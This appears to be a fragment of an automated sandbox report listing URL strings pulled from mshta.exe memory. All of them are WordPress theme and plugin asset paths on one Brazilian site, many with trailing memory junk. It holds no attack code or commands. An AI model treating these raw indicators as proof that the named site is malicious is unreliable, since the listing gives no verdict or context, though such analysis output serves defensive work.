Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20;0?t
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20C:
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174873870.000000000662F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052805591.0000000004876000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 00000008.00000002.1167104174.0000000003240000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/q
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0o
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0ss
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3Z
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css-1.
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css1.0.0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css=1.
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.csscex
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4200)oc?t
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.46.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174551534.00000000065D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.09.31.
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0yF
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US
Source: mshta.exe, 00000008.00000003.1049482721.0000000003F08000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169145615.0000000003F0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049589949.0000000003F0A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049614046.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4http://facextra
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0=1.0u
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0M
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0;
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.0
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.00E)=
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0C:
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0MD
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US
Source: mshta.exe, 00000008.00000003.1049482721.0000000003F08000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169145615.0000000003F0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049589949.0000000003F0A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049614046.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0http://facextra
Source: mshta.exe, 00000008.00000003.1052700016.0000000004873000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170174262.0000000004877000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052770602.0000000004874000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052805591.0000000004876000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0.20
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)=
Source: mshta.exe, 00000008.00000002.1164695622.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0&
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0.3-F
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.02D
Source: mshta.exe, 00000008.00000003.1049482721.0000000003F08000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169145615.0000000003F0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049589949.0000000003F0A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049614046.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0m
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2)
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.20E)0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ET4.0E)0.
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2O
Source: mshta.exe, 00000008.00000002.1166726168.00000000030E3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1C
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1K
Source: mshta.exe, 00000008.00000002.1164695622.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0.0)ZD
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.063
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0n
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsnsC:
Source: mshta.exe, 00000008.00000002.1164695622.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0?F
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0gF
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0sD
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jqueryP
Source: mshta.exe, 00000008.00000003.1052700016.0000000004873000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170174262.0000000004877000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052770602.0000000004874000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1052805591.0000000004876000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6-US
Source: mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6019C:
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ET4.0C;
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6png
Source: mshta.exe, 00000008.00000002.1164695622.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.30.NET4.0E)
Source: mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3C:
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;
Source: mshta.exe, 00000008.00000003.1049482721.0000000003F08000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169145615.0000000003F0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049589949.0000000003F0A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049614046.0000000003F0D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049535004.0000000003F09000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0-US
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0=2.9.2
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.00.9.3
